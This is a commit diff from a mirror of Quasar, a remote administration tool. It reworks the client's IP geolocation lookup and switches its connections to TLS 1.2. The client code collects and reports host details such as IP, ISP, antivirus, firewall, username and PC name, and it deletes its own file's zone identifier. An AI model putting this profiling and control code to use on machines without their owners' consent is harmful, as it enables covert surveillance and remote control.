mirror of https://github.com/quasar/Quasar.git
Update IP geolocation retrieval, use TLS 1.2
This commit is contained in:
parent
4bbe8da7ae
commit
574713307d
|
@ -9,6 +9,7 @@
|
|||
using Quasar.Client.Config;
|
||||
using Quasar.Client.Data;
|
||||
using Quasar.Client.Extensions;
|
||||
using Quasar.Client.IpGeoLocation;
|
||||
using Quasar.Client.Helper;
|
||||
using Quasar.Client.Utilities;
|
||||
using Quasar.Common.Enums;
|
||||
|
@ -355,6 +356,8 @@ public static void HandleGetSystemInfo(GetSystemInfo command, Networking.Client
|
|||
var domainName = (!string.IsNullOrEmpty(properties.DomainName)) ? properties.DomainName : "-";
|
||||
var hostName = (!string.IsNullOrEmpty(properties.HostName)) ? properties.HostName : "-";
|
||||
|
||||
var geoInfo = GeoInformationFactory.GetGeoInformation();
|
||||
|
||||
List<Tuple<string, string>> lstInfos = new List<Tuple<string, string>>
|
||||
{
|
||||
new Tuple<string, string>("Processor (CPU)", DevicesHelper.GetCpuName()),
|
||||
|
@ -369,12 +372,13 @@ public static void HandleGetSystemInfo(GetSystemInfo command, Networking.Client
|
|||
new Tuple<string, string>("Uptime", SystemHelper.GetUptime()),
|
||||
new Tuple<string, string>("MAC Address", DevicesHelper.GetMacAddress()),
|
||||
new Tuple<string, string>("LAN IP Address", DevicesHelper.GetLanIp()),
|
||||
new Tuple<string, string>("WAN IP Address", GeoLocationHelper.GeoInfo.Ip),
|
||||
new Tuple<string, string>("WAN IP Address", geoInfo.IpAddress),
|
||||
new Tuple<string, string>("ASN", geoInfo.Asn),
|
||||
new Tuple<string, string>("ISP", geoInfo.Isp),
|
||||
new Tuple<string, string>("Antivirus", SystemHelper.GetAntivirus()),
|
||||
new Tuple<string, string>("Firewall", SystemHelper.GetFirewall()),
|
||||
new Tuple<string, string>("Time Zone", GeoLocationHelper.GeoInfo.Timezone),
|
||||
new Tuple<string, string>("Country", GeoLocationHelper.GeoInfo.Country),
|
||||
new Tuple<string, string>("ISP", GeoLocationHelper.GeoInfo.Isp)
|
||||
new Tuple<string, string>("Time Zone", geoInfo.Timezone),
|
||||
new Tuple<string, string>("Country", geoInfo.Country)
|
||||
};
|
||||
|
||||
client.Send(new GetSystemInfoResponse {SystemInfos = lstInfos});
|
||||
|
|
|
@ -1,37 +0,0 @@
|
|||
using System.Runtime.Serialization;
|
||||
|
||||
namespace Quasar.Client.Data
|
||||
{
|
||||
[DataContract]
|
||||
public class GeoInformation
|
||||
{
|
||||
[DataMember(Name = "as")]
|
||||
public string As { get; set; }
|
||||
[DataMember(Name = "city")]
|
||||
public string City { get; set; }
|
||||
[DataMember(Name = "country")]
|
||||
public string Country { get; set; }
|
||||
[DataMember(Name = "countryCode")]
|
||||
public string CountryCode { get; set; }
|
||||
[DataMember(Name = "isp")]
|
||||
public string Isp { get; set; }
|
||||
[DataMember(Name = "lat")]
|
||||
public double Lat { get; set; }
|
||||
[DataMember(Name = "lon")]
|
||||
public double Lon { get; set; }
|
||||
[DataMember(Name = "org")]
|
||||
public string Org { get; set; }
|
||||
[DataMember(Name = "query")]
|
||||
public string Ip { get; set; }
|
||||
[DataMember(Name = "region")]
|
||||
public string Region { get; set; }
|
||||
[DataMember(Name = "regionName")]
|
||||
public string RegionName { get; set; }
|
||||
[DataMember(Name = "status")]
|
||||
public string Status { get; set; }
|
||||
[DataMember(Name = "timezone")]
|
||||
public string Timezone { get; set; }
|
||||
[DataMember(Name = "zip")]
|
||||
public string Zip { get; set; }
|
||||
}
|
||||
}
|
|
@ -0,0 +1,16 @@
|
|||
using System;
|
||||
|
||||
namespace Quasar.Client.Helper
|
||||
{
|
||||
public static class DateTimeHelper
|
||||
{
|
||||
public static string GetLocalTimeZone()
|
||||
{
|
||||
var tz = TimeZoneInfo.Local;
|
||||
var tzOffset = tz.GetUtcOffset(DateTime.Now);
|
||||
var tzOffsetSign = tzOffset >= TimeSpan.Zero ? "+" : "";
|
||||
var tzName = tz.SupportsDaylightSavingTime && tz.IsDaylightSavingTime(DateTime.Now) ? tz.DaylightName : tz.StandardName;
|
||||
return $"{tzName} (UTC {tzOffsetSign}{tzOffset.Hours}{(tzOffset.Minutes != 0 ? $":{Math.Abs(tzOffset.Minutes)}" : "")})";
|
||||
}
|
||||
}
|
||||
}
|
|
@ -1,192 +0,0 @@
|
|||
using System;
|
||||
using System.IO;
|
||||
using System.Net;
|
||||
using System.Runtime.Serialization.Json;
|
||||
using System.Text;
|
||||
using System.Xml;
|
||||
using Quasar.Client.Data;
|
||||
|
||||
namespace Quasar.Client.Helper
|
||||
{
|
||||
public static class GeoLocationHelper
|
||||
{
|
||||
public static readonly string[] ImageList =
|
||||
{
|
||||
"ad", "ae", "af", "ag", "ai", "al",
|
||||
"am", "an", "ao", "ar", "as", "at", "au", "aw", "ax", "az", "ba",
|
||||
"bb", "bd", "be", "bf", "bg", "bh", "bi", "bj", "bm", "bn", "bo",
|
||||
"br", "bs", "bt", "bv", "bw", "by", "bz", "ca", "catalonia", "cc",
|
||||
"cd", "cf", "cg", "ch", "ci", "ck", "cl", "cm", "cn", "co", "cr",
|
||||
"cs", "cu", "cv", "cx", "cy", "cz", "de", "dj", "dk", "dm", "do",
|
||||
"dz", "ec", "ee", "eg", "eh", "england", "er", "es", "et",
|
||||
"europeanunion", "fam", "fi", "fj", "fk", "fm", "fo", "fr", "ga",
|
||||
"gb", "gd", "ge", "gf", "gh", "gi", "gl", "gm", "gn", "gp", "gq",
|
||||
"gr", "gs", "gt", "gu", "gw", "gy", "hk", "hm", "hn", "hr", "ht",
|
||||
"hu", "id", "ie", "il", "in", "io", "iq", "ir", "is", "it", "jm",
|
||||
"jo", "jp", "ke", "kg", "kh", "ki", "km", "kn", "kp", "kr", "kw",
|
||||
"ky", "kz", "la", "lb", "lc", "li", "lk", "lr", "ls", "lt", "lu",
|
||||
"lv", "ly", "ma", "mc", "md", "me", "mg", "mh", "mk", "ml", "mm",
|
||||
"mn", "mo", "mp", "mq", "mr", "ms", "mt", "mu", "mv", "mw", "mx",
|
||||
"my", "mz", "na", "nc", "ne", "nf", "ng", "ni", "nl", "no", "np",
|
||||
"nr", "nu", "nz", "om", "pa", "pe", "pf", "pg", "ph", "pk", "pl",
|
||||
"pm", "pn", "pr", "ps", "pt", "pw", "py", "qa", "re", "ro", "rs",
|
||||
"ru", "rw", "sa", "sb", "sc", "scotland", "sd", "se", "sg", "sh",
|
||||
"si", "sj", "sk", "sl", "sm", "sn", "so", "sr", "st", "sv", "sy",
|
||||
"sz", "tc", "td", "tf", "tg", "th", "tj", "tk", "tl", "tm", "tn",
|
||||
"to", "tr", "tt", "tv", "tw", "tz", "ua", "ug", "um", "us", "uy",
|
||||
"uz", "va", "vc", "ve", "vg", "vi", "vn", "vu", "wales", "wf",
|
||||
"ws", "ye", "yt", "za", "zm", "zw"
|
||||
};
|
||||
|
||||
public static int ImageIndex { get; set; }
|
||||
public static GeoInformation GeoInfo { get; private set; }
|
||||
public static DateTime LastLocated { get; private set; }
|
||||
public static bool LocationCompleted { get; private set; }
|
||||
|
||||
static GeoLocationHelper()
|
||||
{
|
||||
LastLocated = new DateTime(1, 1, 1, 0, 0, 0, DateTimeKind.Utc);
|
||||
}
|
||||
|
||||
public static void Initialize()
|
||||
{
|
||||
TimeSpan lastLocateTry = new TimeSpan(DateTime.UtcNow.Ticks - LastLocated.Ticks);
|
||||
|
||||
// last location was 60 minutes ago or last location has not completed
|
||||
if (lastLocateTry.TotalMinutes > 60 || !LocationCompleted)
|
||||
{
|
||||
TryLocate();
|
||||
|
||||
GeoInfo.Ip = (string.IsNullOrEmpty(GeoInfo.Ip)) ? "Unknown" : GeoInfo.Ip;
|
||||
GeoInfo.Country = (string.IsNullOrEmpty(GeoInfo.Country)) ? "Unknown" : GeoInfo.Country;
|
||||
GeoInfo.CountryCode = (string.IsNullOrEmpty(GeoInfo.CountryCode)) ? "-" : GeoInfo.CountryCode;
|
||||
GeoInfo.Region = (string.IsNullOrEmpty(GeoInfo.Region)) ? "Unknown" : GeoInfo.Region;
|
||||
GeoInfo.City = (string.IsNullOrEmpty(GeoInfo.City)) ? "Unknown" : GeoInfo.City;
|
||||
GeoInfo.Timezone = (string.IsNullOrEmpty(GeoInfo.Timezone)) ? "Unknown" : GeoInfo.Timezone;
|
||||
GeoInfo.Isp = (string.IsNullOrEmpty(GeoInfo.Isp)) ? "Unknown" : GeoInfo.Isp;
|
||||
|
||||
ImageIndex = 0;
|
||||
for (int i = 0; i < ImageList.Length; i++)
|
||||
{
|
||||
if (ImageList[i] == GeoInfo.CountryCode.ToLower())
|
||||
{
|
||||
ImageIndex = i;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (ImageIndex == 0) ImageIndex = 247; // question icon
|
||||
}
|
||||
}
|
||||
|
||||
private static void TryLocate()
|
||||
{
|
||||
LocationCompleted = false;
|
||||
|
||||
try
|
||||
{
|
||||
DataContractJsonSerializer jsonSerializer = new DataContractJsonSerializer(typeof(GeoInformation));
|
||||
|
||||
HttpWebRequest request = (HttpWebRequest)WebRequest.Create("http://ip-api.com/json/");
|
||||
request.UserAgent = "Mozilla/5.0 (Windows NT 6.3; rv:48.0) Gecko/20100101 Firefox/48.0";
|
||||
request.Proxy = null;
|
||||
request.Timeout = 10000;
|
||||
|
||||
using (HttpWebResponse response = (HttpWebResponse)request.GetResponse())
|
||||
{
|
||||
using (Stream dataStream = response.GetResponseStream())
|
||||
{
|
||||
using (StreamReader reader = new StreamReader(dataStream))
|
||||
{
|
||||
string responseString = reader.ReadToEnd();
|
||||
|
||||
using (MemoryStream ms = new MemoryStream(Encoding.UTF8.GetBytes(responseString)))
|
||||
{
|
||||
GeoInfo = (GeoInformation)jsonSerializer.ReadObject(ms);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
LastLocated = DateTime.UtcNow;
|
||||
LocationCompleted = true;
|
||||
}
|
||||
catch
|
||||
{
|
||||
TryLocateFallback();
|
||||
}
|
||||
}
|
||||
|
||||
private static void TryLocateFallback()
|
||||
{
|
||||
GeoInfo = new GeoInformation();
|
||||
|
||||
try
|
||||
{
|
||||
HttpWebRequest request = (HttpWebRequest)WebRequest.Create("http://freegeoip.net/xml/");
|
||||
request.UserAgent = "Mozilla/5.0 (Windows NT 6.3; rv:48.0) Gecko/20100101 Firefox/48.0";
|
||||
request.Proxy = null;
|
||||
request.Timeout = 10000;
|
||||
|
||||
using (HttpWebResponse response = (HttpWebResponse)request.GetResponse())
|
||||
{
|
||||
using (Stream dataStream = response.GetResponseStream())
|
||||
{
|
||||
using (StreamReader reader = new StreamReader(dataStream))
|
||||
{
|
||||
string responseString = reader.ReadToEnd();
|
||||
|
||||
XmlDocument doc = new XmlDocument();
|
||||
doc.LoadXml(responseString);
|
||||
|
||||
GeoInfo.Ip = doc.SelectSingleNode("Response//IP").InnerXml;
|
||||
GeoInfo.Country = doc.SelectSingleNode("Response//CountryName").InnerXml;
|
||||
GeoInfo.CountryCode = doc.SelectSingleNode("Response//CountryCode").InnerXml;
|
||||
GeoInfo.Region = doc.SelectSingleNode("Response//RegionName").InnerXml;
|
||||
GeoInfo.City = doc.SelectSingleNode("Response//City").InnerXml;
|
||||
GeoInfo.Timezone = doc.SelectSingleNode("Response//TimeZone").InnerXml;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
LastLocated = DateTime.UtcNow;
|
||||
LocationCompleted = true;
|
||||
}
|
||||
catch
|
||||
{
|
||||
LocationCompleted = false;
|
||||
}
|
||||
|
||||
if (string.IsNullOrEmpty(GeoInfo.Ip))
|
||||
TryGetWanIp();
|
||||
}
|
||||
|
||||
private static void TryGetWanIp()
|
||||
{
|
||||
string wanIp = "-";
|
||||
|
||||
try
|
||||
{
|
||||
HttpWebRequest request = (HttpWebRequest)WebRequest.Create("http://api.ipify.org/");
|
||||
request.UserAgent = "Mozilla/5.0 (Windows NT 6.3; rv:48.0) Gecko/20100101 Firefox/48.0";
|
||||
request.Proxy = null;
|
||||
request.Timeout = 5000;
|
||||
|
||||
using (HttpWebResponse response = (HttpWebResponse)request.GetResponse())
|
||||
{
|
||||
using (Stream dataStream = response.GetResponseStream())
|
||||
{
|
||||
using (StreamReader reader = new StreamReader(dataStream))
|
||||
{
|
||||
wanIp = reader.ReadToEnd();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
}
|
||||
|
||||
GeoInfo.Ip = wanIp;
|
||||
}
|
||||
}
|
||||
}
|
|
@ -1,6 +1,6 @@
|
|||
<?xml version="1.0" encoding="utf-8" ?>
|
||||
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<Target Name="ILRepacker" AfterTargets="PostBuildEvent">
|
||||
<Target Name="ILRepacker" AfterTargets="PostBuildEvent" Condition="'$(Configuration)' == 'Release'">
|
||||
|
||||
<ItemGroup>
|
||||
<InputAssemblies Include="$(TargetPath)"/>
|
||||
|
|
|
@ -0,0 +1,16 @@
|
|||
namespace Quasar.Client.IpGeoLocation
|
||||
{
|
||||
/// <summary>
|
||||
/// Stores the IP geolocation information.
|
||||
/// </summary>
|
||||
public class GeoInformation
|
||||
{
|
||||
public string IpAddress { get; set; }
|
||||
public string Country { get; set; }
|
||||
public string CountryCode { get; set; }
|
||||
public string Timezone { get; set; }
|
||||
public string Asn { get; set; }
|
||||
public string Isp { get; set; }
|
||||
public int ImageIndex { get; set; }
|
||||
}
|
||||
}
|
|
@ -0,0 +1,47 @@
|
|||
using System;
|
||||
|
||||
namespace Quasar.Client.IpGeoLocation
|
||||
{
|
||||
/// <summary>
|
||||
/// Factory to retrieve and cache the last IP geolocation information for <see cref="MINIMUM_VALID_TIME"/> minutes.
|
||||
/// </summary>
|
||||
public static class GeoInformationFactory
|
||||
{
|
||||
/// <summary>
|
||||
/// Retriever used to get geolocation information about the WAN IP address.
|
||||
/// </summary>
|
||||
private static readonly GeoInformationRetriever Retriever = new GeoInformationRetriever();
|
||||
|
||||
/// <summary>
|
||||
/// Used to cache the latest IP geolocation information.
|
||||
/// </summary>
|
||||
private static GeoInformation _geoInformation;
|
||||
|
||||
/// <summary>
|
||||
/// Time of the last successful location retrieval.
|
||||
/// </summary>
|
||||
private static DateTime _lastSuccessfulLocation = new DateTime(1, 1, 1, 0, 0, 0, DateTimeKind.Utc);
|
||||
|
||||
/// <summary>
|
||||
/// The minimum amount of minutes a successful IP geolocation retrieval is valid.
|
||||
/// </summary>
|
||||
private const int MINIMUM_VALID_TIME = 60 * 12;
|
||||
|
||||
/// <summary>
|
||||
/// Gets the IP geolocation information, either cached or freshly retrieved if more than <see cref="MINIMUM_VALID_TIME"/> minutes have passed.
|
||||
/// </summary>
|
||||
/// <returns>The latest IP geolocation information.</returns>
|
||||
public static GeoInformation GetGeoInformation()
|
||||
{
|
||||
var passedTime = new TimeSpan(DateTime.UtcNow.Ticks - _lastSuccessfulLocation.Ticks);
|
||||
|
||||
if (_geoInformation == null || passedTime.TotalMinutes > MINIMUM_VALID_TIME)
|
||||
{
|
||||
_geoInformation = Retriever.Retrieve();
|
||||
_lastSuccessfulLocation = DateTime.UtcNow;
|
||||
}
|
||||
|
||||
return _geoInformation;
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,186 @@
|
|||
using Quasar.Client.Helper;
|
||||
using System.Globalization;
|
||||
using System.IO;
|
||||
using System.Net;
|
||||
using System.Runtime.Serialization.Json;
|
||||
using System.Text;
|
||||
|
||||
namespace Quasar.Client.IpGeoLocation
|
||||
{
|
||||
/// <summary>
|
||||
/// Class to retrieve the IP geolocation information.
|
||||
/// </summary>
|
||||
public class GeoInformationRetriever
|
||||
{
|
||||
/// <summary>
|
||||
/// List of all available flag images on the server side.
|
||||
/// </summary>
|
||||
private readonly string[] _imageList =
|
||||
{
|
||||
"ad", "ae", "af", "ag", "ai", "al",
|
||||
"am", "an", "ao", "ar", "as", "at", "au", "aw", "ax", "az", "ba",
|
||||
"bb", "bd", "be", "bf", "bg", "bh", "bi", "bj", "bm", "bn", "bo",
|
||||
"br", "bs", "bt", "bv", "bw", "by", "bz", "ca", "catalonia", "cc",
|
||||
"cd", "cf", "cg", "ch", "ci", "ck", "cl", "cm", "cn", "co", "cr",
|
||||
"cs", "cu", "cv", "cx", "cy", "cz", "de", "dj", "dk", "dm", "do",
|
||||
"dz", "ec", "ee", "eg", "eh", "england", "er", "es", "et",
|
||||
"europeanunion", "fam", "fi", "fj", "fk", "fm", "fo", "fr", "ga",
|
||||
"gb", "gd", "ge", "gf", "gh", "gi", "gl", "gm", "gn", "gp", "gq",
|
||||
"gr", "gs", "gt", "gu", "gw", "gy", "hk", "hm", "hn", "hr", "ht",
|
||||
"hu", "id", "ie", "il", "in", "io", "iq", "ir", "is", "it", "jm",
|
||||
"jo", "jp", "ke", "kg", "kh", "ki", "km", "kn", "kp", "kr", "kw",
|
||||
"ky", "kz", "la", "lb", "lc", "li", "lk", "lr", "ls", "lt", "lu",
|
||||
"lv", "ly", "ma", "mc", "md", "me", "mg", "mh", "mk", "ml", "mm",
|
||||
"mn", "mo", "mp", "mq", "mr", "ms", "mt", "mu", "mv", "mw", "mx",
|
||||
"my", "mz", "na", "nc", "ne", "nf", "ng", "ni", "nl", "no", "np",
|
||||
"nr", "nu", "nz", "om", "pa", "pe", "pf", "pg", "ph", "pk", "pl",
|
||||
"pm", "pn", "pr", "ps", "pt", "pw", "py", "qa", "re", "ro", "rs",
|
||||
"ru", "rw", "sa", "sb", "sc", "scotland", "sd", "se", "sg", "sh",
|
||||
"si", "sj", "sk", "sl", "sm", "sn", "so", "sr", "st", "sv", "sy",
|
||||
"sz", "tc", "td", "tf", "tg", "th", "tj", "tk", "tl", "tm", "tn",
|
||||
"to", "tr", "tt", "tv", "tw", "tz", "ua", "ug", "um", "us", "uy",
|
||||
"uz", "va", "vc", "ve", "vg", "vi", "vn", "vu", "wales", "wf",
|
||||
"ws", "ye", "yt", "za", "zm", "zw"
|
||||
};
|
||||
|
||||
/// <summary>
|
||||
/// Retrieves the IP geolocation information.
|
||||
/// </summary>
|
||||
/// <returns>The retrieved IP geolocation information.</returns>
|
||||
public GeoInformation Retrieve()
|
||||
{
|
||||
var geo = TryRetrieveOnline() ?? TryRetrieveLocally();
|
||||
|
||||
if (string.IsNullOrEmpty(geo.IpAddress))
|
||||
geo.IpAddress = TryGetWanIp();
|
||||
|
||||
geo.IpAddress = (string.IsNullOrEmpty(geo.IpAddress)) ? "Unknown" : geo.IpAddress;
|
||||
geo.Country = (string.IsNullOrEmpty(geo.Country)) ? "Unknown" : geo.Country;
|
||||
geo.CountryCode = (string.IsNullOrEmpty(geo.CountryCode)) ? "-" : geo.CountryCode;
|
||||
geo.Timezone = (string.IsNullOrEmpty(geo.Timezone)) ? "Unknown" : geo.Timezone;
|
||||
geo.Asn = (string.IsNullOrEmpty(geo.Asn)) ? "Unknown" : geo.Asn;
|
||||
geo.Isp = (string.IsNullOrEmpty(geo.Isp)) ? "Unknown" : geo.Isp;
|
||||
|
||||
geo.ImageIndex = 0;
|
||||
for (int i = 0; i < _imageList.Length; i++)
|
||||
{
|
||||
if (_imageList[i] == geo.CountryCode.ToLower())
|
||||
{
|
||||
geo.ImageIndex = i;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (geo.ImageIndex == 0) geo.ImageIndex = 247; // question icon
|
||||
|
||||
return geo;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Tries to retrieve the geolocation information online.
|
||||
/// </summary>
|
||||
/// <returns>The retrieved geolocation information if successful, otherwise <c>null</c>.</returns>
|
||||
private GeoInformation TryRetrieveOnline()
|
||||
{
|
||||
try
|
||||
{
|
||||
DataContractJsonSerializer jsonSerializer = new DataContractJsonSerializer(typeof(GeoResponse));
|
||||
|
||||
HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://tools.keycdn.com/geo.json");
|
||||
request.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0";
|
||||
request.Proxy = null;
|
||||
request.Timeout = 10000;
|
||||
|
||||
using (HttpWebResponse response = (HttpWebResponse)request.GetResponse())
|
||||
{
|
||||
using (Stream dataStream = response.GetResponseStream())
|
||||
{
|
||||
using (StreamReader reader = new StreamReader(dataStream))
|
||||
{
|
||||
string responseString = reader.ReadToEnd();
|
||||
|
||||
using (MemoryStream ms = new MemoryStream(Encoding.UTF8.GetBytes(responseString)))
|
||||
{
|
||||
var geoInfo = (GeoResponse)jsonSerializer.ReadObject(ms);
|
||||
|
||||
GeoInformation g = new GeoInformation
|
||||
{
|
||||
IpAddress = geoInfo.Data.Geo.Ip,
|
||||
Country = geoInfo.Data.Geo.CountryName,
|
||||
CountryCode = geoInfo.Data.Geo.CountryCode,
|
||||
Timezone = geoInfo.Data.Geo.Timezone,
|
||||
Asn = geoInfo.Data.Geo.Asn.ToString(),
|
||||
Isp = geoInfo.Data.Geo.Isp
|
||||
};
|
||||
|
||||
return g;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Tries to retrieve the geolocation information locally.
|
||||
/// </summary>
|
||||
/// <returns>The retrieved geolocation information if successful, otherwise <c>null</c>.</returns>
|
||||
private GeoInformation TryRetrieveLocally()
|
||||
{
|
||||
try
|
||||
{
|
||||
GeoInformation g = new GeoInformation();
|
||||
|
||||
// use local information
|
||||
var cultureInfo = CultureInfo.CurrentUICulture;
|
||||
var region = new RegionInfo(cultureInfo.LCID);
|
||||
|
||||
g.Country = region.DisplayName;
|
||||
g.CountryCode = region.TwoLetterISORegionName;
|
||||
g.Timezone = DateTimeHelper.GetLocalTimeZone();
|
||||
|
||||
return g;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Tries to retrieves the WAN IP.
|
||||
/// </summary>
|
||||
/// <returns>The WAN IP as string if successful, otherwise <c>null</c>.</returns>
|
||||
private string TryGetWanIp()
|
||||
{
|
||||
string wanIp = "";
|
||||
|
||||
try
|
||||
{
|
||||
HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://api.ipify.org/");
|
||||
request.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0";
|
||||
request.Proxy = null;
|
||||
request.Timeout = 5000;
|
||||
|
||||
using (HttpWebResponse response = (HttpWebResponse)request.GetResponse())
|
||||
{
|
||||
using (Stream dataStream = response.GetResponseStream())
|
||||
{
|
||||
using (StreamReader reader = new StreamReader(dataStream))
|
||||
{
|
||||
wanIp = reader.ReadToEnd();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
|
||||
return wanIp;
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,82 @@
|
|||
using System.Runtime.Serialization;
|
||||
|
||||
namespace Quasar.Client.IpGeoLocation
|
||||
{
|
||||
[DataContract]
|
||||
public class GeoResponse
|
||||
{
|
||||
[DataMember(Name ="status")]
|
||||
public string Status { get; set; }
|
||||
|
||||
[DataMember(Name = "description")]
|
||||
public string Description { get; set; }
|
||||
|
||||
[DataMember(Name = "data")]
|
||||
public DataObject Data { get; set; }
|
||||
}
|
||||
|
||||
[DataContract()]
|
||||
public class DataObject
|
||||
{
|
||||
[DataMember(Name = "geo")]
|
||||
public LocationData Geo { get; set; }
|
||||
}
|
||||
|
||||
[DataContract()]
|
||||
public class LocationData
|
||||
{
|
||||
[DataMember(Name = "host")]
|
||||
public string Host;
|
||||
|
||||
[DataMember(Name = "ip")]
|
||||
public string Ip;
|
||||
|
||||
[DataMember(Name = "rdns")]
|
||||
public string Rdns;
|
||||
|
||||
[DataMember(Name = "asn")]
|
||||
public int Asn;
|
||||
|
||||
[DataMember(Name = "isp")]
|
||||
public string Isp;
|
||||
|
||||
[DataMember(Name = "country_name")]
|
||||
public string CountryName;
|
||||
|
||||
[DataMember(Name = "country_code")]
|
||||
public string CountryCode;
|
||||
|
||||
[DataMember(Name = "region_name")]
|
||||
public string RegionName;
|
||||
|
||||
[DataMember(Name = "region_code")]
|
||||
public string RegionCode;
|
||||
|
||||
[DataMember(Name = "city")]
|
||||
public string City;
|
||||
|
||||
[DataMember(Name = "postal_code")]
|
||||
public string PostalCode;
|
||||
|
||||
[DataMember(Name = "continent_name")]
|
||||
public string ContinentName;
|
||||
|
||||
[DataMember(Name = "continent_code")]
|
||||
public string ContinentCode;
|
||||
|
||||
[DataMember(Name = "latitude")]
|
||||
public double Latitude;
|
||||
|
||||
[DataMember(Name = "longitude")]
|
||||
public double Longitude;
|
||||
|
||||
[DataMember(Name = "metro_code")]
|
||||
public object MetroCode;
|
||||
|
||||
[DataMember(Name = "timezone")]
|
||||
public string Timezone;
|
||||
|
||||
[DataMember(Name = "datetime")]
|
||||
public string Datetime;
|
||||
}
|
||||
}
|
|
@ -273,7 +273,7 @@ protected void Connect(IPAddress ip, ushort port)
|
|||
if (handle.Connected)
|
||||
{
|
||||
_stream = new SslStream(new NetworkStream(handle, true), false, ValidateServerCertificate);
|
||||
_stream.AuthenticateAsClient(ip.ToString(), null, SslProtocols.Tls, false);
|
||||
_stream.AuthenticateAsClient(ip.ToString(), null, SslProtocols.Tls12, false);
|
||||
_stream.BeginRead(_readBuffer, 0, _readBuffer.Length, AsyncReceive, null);
|
||||
OnClientState(true);
|
||||
}
|
||||
|
|
|
@ -1,6 +1,7 @@
|
|||
using Quasar.Client.Commands;
|
||||
using Quasar.Client.Config;
|
||||
using Quasar.Client.Data;
|
||||
using Quasar.Client.IpGeoLocation;
|
||||
using Quasar.Client.Helper;
|
||||
using Quasar.Client.Utilities;
|
||||
using Quasar.Common.Helpers;
|
||||
|
@ -96,18 +97,16 @@ private void OnClientState(Client client, bool connected)
|
|||
{
|
||||
// send client identification once connected
|
||||
|
||||
GeoLocationHelper.Initialize();
|
||||
var geoInfo = GeoInformationFactory.GetGeoInformation();
|
||||
|
||||
client.Send(new ClientIdentification
|
||||
{
|
||||
Version = Settings.VERSION,
|
||||
OperatingSystem = PlatformHelper.FullName,
|
||||
AccountType = WindowsAccountHelper.GetAccountType(),
|
||||
Country = GeoLocationHelper.GeoInfo.Country,
|
||||
CountryCode = GeoLocationHelper.GeoInfo.CountryCode,
|
||||
Region = GeoLocationHelper.GeoInfo.Region,
|
||||
City = GeoLocationHelper.GeoInfo.City,
|
||||
ImageIndex = GeoLocationHelper.ImageIndex,
|
||||
Country = geoInfo.Country,
|
||||
CountryCode = geoInfo.CountryCode,
|
||||
ImageIndex = geoInfo.ImageIndex,
|
||||
Id = DevicesHelper.HardwareId,
|
||||
Username = WindowsAccountHelper.GetName(),
|
||||
PcName = SystemHelper.GetPcName(),
|
||||
|
|
|
@ -10,6 +10,7 @@
|
|||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Net;
|
||||
using System.Threading;
|
||||
using System.Windows.Forms;
|
||||
|
||||
|
@ -23,6 +24,9 @@ internal static class Program
|
|||
[STAThread]
|
||||
private static void Main(string[] args)
|
||||
{
|
||||
// enable TLS 1.2
|
||||
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
|
||||
|
||||
Application.EnableVisualStyles();
|
||||
Application.SetCompatibleTextRenderingDefault(false);
|
||||
AppDomain.CurrentDomain.UnhandledException += HandleUnhandledException;
|
||||
|
@ -92,7 +96,6 @@ private static bool Initialize()
|
|||
return false;
|
||||
|
||||
ClientData.InstallPath = Path.Combine(Settings.DIRECTORY, ((!string.IsNullOrEmpty(Settings.SUBDIRECTORY)) ? Settings.SUBDIRECTORY + @"\" : "") + Settings.INSTALLNAME);
|
||||
GeoLocationHelper.Initialize();
|
||||
|
||||
FileHelper.DeleteZoneIdentifier(ClientData.CurrentPath);
|
||||
|
||||
|
|
|
@ -10,6 +10,8 @@
|
|||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|x86' ">
|
||||
<OutputPath>..\bin\Debug\</OutputPath>
|
||||
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
|
||||
<DebugType>portable</DebugType>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|x86' ">
|
||||
<DebugType>none</DebugType>
|
||||
|
|
Binary file not shown.
Before Width: | Height: | Size: 898 B |
|
@ -21,30 +21,24 @@ public class ClientIdentification : IMessage
|
|||
public string CountryCode { get; set; }
|
||||
|
||||
[ProtoMember(6)]
|
||||
public string Region { get; set; }
|
||||
|
||||
[ProtoMember(7)]
|
||||
public string City { get; set; }
|
||||
|
||||
[ProtoMember(8)]
|
||||
public int ImageIndex { get; set; }
|
||||
|
||||
[ProtoMember(9)]
|
||||
[ProtoMember(7)]
|
||||
public string Id { get; set; }
|
||||
|
||||
[ProtoMember(10)]
|
||||
[ProtoMember(8)]
|
||||
public string Username { get; set; }
|
||||
|
||||
[ProtoMember(11)]
|
||||
[ProtoMember(9)]
|
||||
public string PcName { get; set; }
|
||||
|
||||
[ProtoMember(12)]
|
||||
[ProtoMember(10)]
|
||||
public string Tag { get; set; }
|
||||
|
||||
[ProtoMember(13)]
|
||||
[ProtoMember(11)]
|
||||
public string EncryptionKey { get; set; }
|
||||
|
||||
[ProtoMember(14)]
|
||||
[ProtoMember(12)]
|
||||
public byte[] Signature { get; set; }
|
||||
}
|
||||
}
|
||||
|
|
|
@ -134,8 +134,6 @@ private bool IdentifyClient(Client client, ClientIdentification packet)
|
|||
